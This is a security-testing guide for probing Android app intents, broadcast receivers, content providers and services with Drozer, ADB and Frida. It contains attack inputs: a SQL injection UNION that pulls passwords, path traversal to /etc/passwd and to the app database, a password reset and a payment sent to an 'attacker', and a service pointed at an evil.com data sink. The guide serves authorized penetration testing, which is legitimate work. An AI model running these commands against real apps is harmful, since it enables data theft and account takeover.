Testing Android Intents for Vulnerabilities

When to Use

Use this skill when:

• Assessing Android app exported activities, services, receivers, and content providers
• Testing for intent injection and unauthorized component invocation
• Evaluating broadcast receiver security for sensitive data exposure
• Performing IPC-focused penetration testing on Android applications

Do not use on production devices without explicit authorization.

Prerequisites

• Rooted Android device or emulator with ADB
• Drozer agent installed on target device (drozer agent.apk)
• Drozer console on host (pip install drozer)
• Target APK decompiled with apktool for AndroidManifest.xml analysis
• Frida for runtime intent monitoring

Workflow

Step 1: Enumerate Exported Components

# Using Drozer
drozer console connect
run app.package.info -a com.target.app
run app.package.attacksurface com.target.app

# Output shows:
# X activities exported
# X broadcast receivers exported
# X content providers exported
# X services exported

# List exported activities
run app.activity.info -a com.target.app

# List exported services
run app.service.info -a com.target.app

# List exported receivers
run app.broadcast.info -a com.target.app

# List content providers
run app.provider.info -a com.target.app

Step 2: Test Exported Activities

# Launch exported activities directly
run app.activity.start --component com.target.app com.target.app.AdminActivity

# Launch with intent extras
run app.activity.start --component com.target.app com.target.app.ProfileActivity \
  --extra string user_id 1337

# Test intent injection via data URI
adb shell am start -a android.intent.action.VIEW \
  -d "content://com.target.app/users/admin" com.target.app

# If admin activity opens without auth, report as authorization bypass

Step 3: Test Broadcast Receivers

# Send broadcast to exported receivers
run app.broadcast.send --action com.target.app.PROCESS_PAYMENT \
  --extra string amount "0.01" --extra string recipient "attacker"

# Sniff broadcasts for sensitive data
run app.broadcast.sniff --action com.target.app.USER_LOGIN

# Via ADB
adb shell am broadcast -a com.target.app.RESET_PASSWORD \
  --es email "attacker@evil.com"

Step 4: Test Content Providers

# Query content providers for data leakage
run app.provider.query content://com.target.app.provider/users
run app.provider.query content://com.target.app.provider/users --projection "password"

# Test SQL injection in content providers
run app.provider.query content://com.target.app.provider/users \
  --selection "1=1) UNION SELECT username,password FROM users--"

# Test path traversal
run app.provider.read content://com.target.app.provider/../../etc/passwd
run app.provider.download content://com.target.app.provider/../databases/app.db /tmp/stolen.db

# Find injectable providers
run scanner.provider.injection -a com.target.app
run scanner.provider.traversal -a com.target.app

Step 5: Test Pending Intent Vulnerabilities

// Monitor PendingIntent creation via Frida
Java.perform(function() {
    var PendingIntent = Java.use("android.app.PendingIntent");

    PendingIntent.getActivity.overload("android.content.Context", "int",
        "android.content.Intent", "int").implementation =
        function(context, requestCode, intent, flags) {
            console.log("[PendingIntent] getActivity:");
            console.log("  Intent: " + intent.toString());
            console.log("  Flags: " + flags);

            // Check for FLAG_IMMUTABLE (secure) vs FLAG_MUTABLE (vulnerable)
            var FLAG_MUTABLE = 0x02000000;
            if ((flags & FLAG_MUTABLE) !== 0) {
                console.log("  [VULN] FLAG_MUTABLE - PendingIntent can be modified by receiver");
            }
            return this.getActivity(context, requestCode, intent, flags);
        };
});

Step 6: Test Service Binding

# Attempt to bind to exported services
run app.service.start --action com.target.app.SYNC_SERVICE \
  --extra string server "https://evil.com/data_sink"

run app.service.send com.target.app com.target.app.MessengerService \
  --msg 1 0 0 --extra string command "dump_database" --bundle-as-obj

Key Concepts

Tools & Systems

• Drozer: Android security assessment framework for IPC testing with pre-built modules
• ADB: Command-line tool for invoking intents, starting activities, and sending broadcasts
• Frida: Runtime monitoring of intent handling and PendingIntent creation
• apktool: APK decompilation for AndroidManifest.xml analysis of component export status
• Intent Fuzzer: Automated tool for fuzzing intent parameters across exported components

Common Pitfalls

• android:exported default changed in API 31: Components with intent filters default to exported=true below API 31 but exported=false at API 31+. Check targetSdkVersion.
• Permission-protected components: An exported component may still require a permission. Test with and without the required permission.
• Implicit intents vs explicit: Only implicit intents (action-based) are interceptable by other apps. Explicit intents (specifying target) are secure.
• Custom permissions: Apps can define custom permissions with different protection levels (normal, dangerous, signature). Signature-level permissions are only grantable to apps signed with the same certificate.